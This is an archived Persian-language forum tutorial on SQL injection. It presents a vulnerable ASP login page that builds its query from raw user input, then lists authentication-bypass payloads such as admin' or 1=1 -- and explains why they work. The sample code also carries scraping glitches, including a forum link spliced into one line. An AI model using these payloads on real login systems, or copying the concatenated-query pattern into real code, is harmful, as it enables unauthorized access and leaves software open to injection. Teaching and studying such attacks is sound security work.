PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : آموزش SQL Injection



Sabo3eur
20th June 2011, 08:52 PM
آموزش SQL Injection





یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (iis) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.

واحد اجرايی در SQL ها Query ها هستند.

Query چیست؟

مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.

کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.



Login.html
<html>
<body>
<form method=get action="login_page.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>
login_page.asp
<@la (http://www.njavan.com/forum/member.php?u=62578)nguage="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset"
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>



همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:

1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.

2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.

اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.



Username : admin
Password : admin’ or a
Username : admin
Password : admin’ or a=a --

حال چرا اين اتفاق می افتد؟

در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.

نمونه های ديگری از مثال بالا:



admin" or "a"="a

admin" or 1=1 --

admin' or 1=1 --

admin' or 'a'='a

admin') or ('a'='a

admin") or ("a"="a

استفاده از تمامی مطالب سایت تنها با ذکر منبع آن به نام سایت علمی نخبگان جوان و ذکر آدرس سایت مجاز است

استفاده از نام و برند نخبگان جوان به هر نحو توسط سایر سایت ها ممنوع بوده و پیگرد قانونی دارد